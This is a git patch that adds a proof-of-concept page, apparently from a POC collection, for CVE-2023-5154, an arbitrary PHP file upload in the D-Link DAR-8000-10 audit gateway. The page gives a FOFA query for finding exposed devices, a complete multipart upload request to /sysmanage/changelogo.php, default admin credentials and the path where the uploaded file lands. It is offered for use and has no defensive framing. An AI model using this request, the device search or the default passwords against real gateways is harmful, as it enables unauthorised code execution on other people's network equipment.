From 1f7f1fcd5f4ec796419bfe98ca7b52625ba941a7 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Fri, 15 Mar 2024 14:01:08 +0800
Subject: [PATCH] =?UTF-8?q?Create=20D-Link=5FDAR-8000-10=E4=B8=8A=E7=BD=91?=
 =?UTF-8?q?=E8=A1=8C=E4=B8=BA=E5=AE=A1=E8=AE=A1=E7=BD=91=E5=85=B3=E4=BB=BB?=
 =?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E?=
 =?UTF-8?q?(CVE-2023-5154).md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...�为审计网关任意文件上传漏洞(CVE-2023-5154).md | 45 +++++++++++++++++++
 1 file changed, 45 insertions(+)
 create mode 100644 D-Link_DAR-8000-10上网行为审计网关任意文件上传漏洞(CVE-2023-5154).md

diff --git a/D-Link_DAR-8000-10上网行为审计网关任意文件上传漏洞(CVE-2023-5154).md b/D-Link_DAR-8000-10上网行为审计网关任意文件上传漏洞(CVE-2023-5154).md
new file mode 100644
index 0000000..637cc68
--- /dev/null
+++ b/D-Link_DAR-8000-10上网行为审计网关任意文件上传漏洞(CVE-2023-5154).md
@@ -0,0 +1,45 @@
+## D-Link_DAR-8000-10上网行为审计网关任意文件上传漏洞(CVE-2023-5154)
+
+
+## fofa
+```
+body="DAR-8000-10" && title="D-Link"
+```
+![image](https://github.com/wy876/POC/assets/139549762/0604d3f1-2325-4ef2-9ba3-cfbe182da07d)
+
+## poc
+```
+POST /sysmanage/changelogo.php HTTP/1.1
+Host: 
+Cookie: PHPSESSID={登陆获取}
+Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
+Accept-Language: zh-CN
+User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.32.3 (KHTML, like Gecko) Version/4.1 Safari/531.32.3
+Content-Type: multipart/form-data; boundary=---------------------------7e62f02f51878
+Accept-Encoding: gzip, deflate
+Content-Length: 326
+Cache-Control: no-cache
+Connection: close
+
+-----------------------------7e62f02f51878
+Content-Disposition: form-data; name="file_upload"; filename="phpinfo.php"
+Content-Type: application/octet-stream
+
+<?php phpinfo()?>
+-----------------------------7e62f02f51878
+Content-Disposition: form-data; name="mode"
+
+upload
+-----------------------------7e62f02f51878--
+```
+
+需要登录
+```
+test/admin@123
+admin/admin
+```
+
+![fb11b0e63a546ac5943d60d5237d8d77](https://github.com/wy876/POC/assets/139549762/24555069-a601-4295-864b-0ad930ce515e)
+
+文件路径：
+`/boot/web/upload/diylogo/phpinfo.php`